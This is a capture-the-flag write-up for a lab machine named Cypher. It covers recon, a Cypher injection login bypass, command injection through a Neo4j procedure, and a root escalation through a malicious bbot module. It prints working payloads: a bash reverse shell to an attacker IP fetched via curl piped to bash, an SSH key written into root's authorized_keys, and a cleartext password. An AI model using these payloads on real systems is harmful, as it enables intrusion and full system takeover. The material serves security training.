Syk0

Cypher


Cypher

Overview

Cypher is a Linux machine running a Python web application backed by a Neo4j graph database. The login form is vulnerable to Cypher injection (the NoSQL equivalent of SQL injection for graph databases), leading to authentication bypass and ultimately OS command injection via a custom Neo4j APOC procedure. Privilege escalation abuses a sudo entry for the bbot OSINT tool by loading a malicious custom module that writes an SSH key to root's authorized_keys file.


Recon

Nmap

sudo nmap -sC -sV -vv -oA tcp 10.129.4.2 && sudo nmap -sC -sV -vv -p- -oA allports 10.129.4.2

Open ports: SSH (22) and HTTP (80). Add cypher.htb to /etc/hosts.

Subdomain Fuzzing

The machine responds on a named host, so fuzz for virtual hosts:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
  -H "Host: FUZZ.cypher.htb" -u http://cypher.htb -fl 8

Directory Bruteforce

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt \
  -u http://cypher.htb/FUZZ -ic


Foothold

Cypher Injection Discovery

The login form throws a database error when a single quote ' is submitted as the username:

The error reveals the underlying Cypher query structure:

MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = ''' return h.value as hash

The application is using Neo4j's Cypher query language and directly interpolating user input - a Cypher injection vulnerability.

Authentication Bypass

The application validates passwords by comparing against a SHA1 hash. We can inject into the WHERE clause to force a true condition and return a known hash value.

First, generate a SHA1 hash for a known password (e.g., "test"):

import hashlib
hash_object = hashlib.sha1(b'test')
pbHash = hash_object.hexdigest()
print(pbHash)
# a94a8fe5ccb19ba61c4c0873d391e987982fbbd3

Inject into the username field to bypass authentication - the OR 1=1 forces the match, and we return our known hash inline so the password check passes:

POST /api/auth HTTP/1.1
Host: cypher.htb
Content-Type: application/json
 
{"username":"' OR 1=1 RETURN \"a94a8fe5ccb19ba61c4c0873d391e987982fbbd3\" as hash//","password":"test"}

OS Command Injection via APOC

Further testing of the injection reveals a custom Neo4j APOC procedure (custom.getUrlStatusCode) that makes outbound HTTP requests. This procedure is callable from Cypher and passes its argument to an OS-level command - leading to OS command injection.

Create a reverse shell script t.sh on the attacking machine:

#!/bin/bash
 
/bin/bash -i >& /dev/tcp/10.10.14.135/8443 0>&1

Exploit the command injection via the Cypher procedure to fetch and execute it:

CALL custom.getUrlStatusCode("http://10.10.14.135; curl http://10.10.14.135/t.sh | bash")

Shell landed as neo4j. Discover another user graphasm on the system:

The Python web application runs inside a Docker container - the neo4j user does not have direct host access.

Run linpeas for local enumeration:


Lateral Movement

Enumerate .bash_history - a cleartext password is present:

Password found: cU4btyib.20xtCMCXkBmerhK

This password works for SSH as graphasm:

ssh [email protected]

User flag accessible.


Privilege Escalation

Check sudo permissions for graphasm:

graphasm can run /usr/local/bin/bbot as root. bbot is an OSINT automation framework that supports custom Python modules. Since we can load modules from a user-controlled directory and execute bbot as root, we can inject malicious code that runs with elevated privileges.

Malicious bbot Module

Create a bbot preset file bb.yml:

module:
  - whois
module_dirs:
  - /home/graphasm/mods

Create the malicious module /home/graphasm/mods/whois.py. The setup() method runs at scan start, before any DNS resolution:

from bbot.modules.base import BaseModule
import os
 
class whois(BaseModule):
    watched_events = ["DNS_NAME"]
    produced_events = ["WHOIS"]
    flags = ["passive", "safe"]
    meta = {"description": "Query WhoisXMLAPI for WHOIS data"}
    options = {"api_key": ""}
    options_desc = {"api_key": "WhoisXMLAPI Key"}
    per_domain_only = True
 
    async def setup(self):
        os.system("mkdir -p /root/.ssh")
        os.system("echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJIAy+FRH0fbnaaq0qbiF/vlQhUK5/qBVADGEq+HmNfT syk0@kgh0st' > /root/.ssh/authorized_keys")
        os.system("chmod 600 /root/.ssh/authorized_keys")

Run bbot as root with our preset:

sudo /usr/local/bin/bbot -p /home/graphasm/bb.yml -m whois -t example.com

The setup() method executes as root, writing our SSH public key to /root/.ssh/authorized_keys. SSH in as root.


Attack Chain Summary

PhaseTechniqueResult
ReconDirectory bruteforceLogin endpoint
FootholdCypher injection → auth bypass → APOC command injectionShell as neo4j
Lateral movement.bash_history passwordSSH as graphasm
Privescsudo bbot + malicious moduleSSH key written to root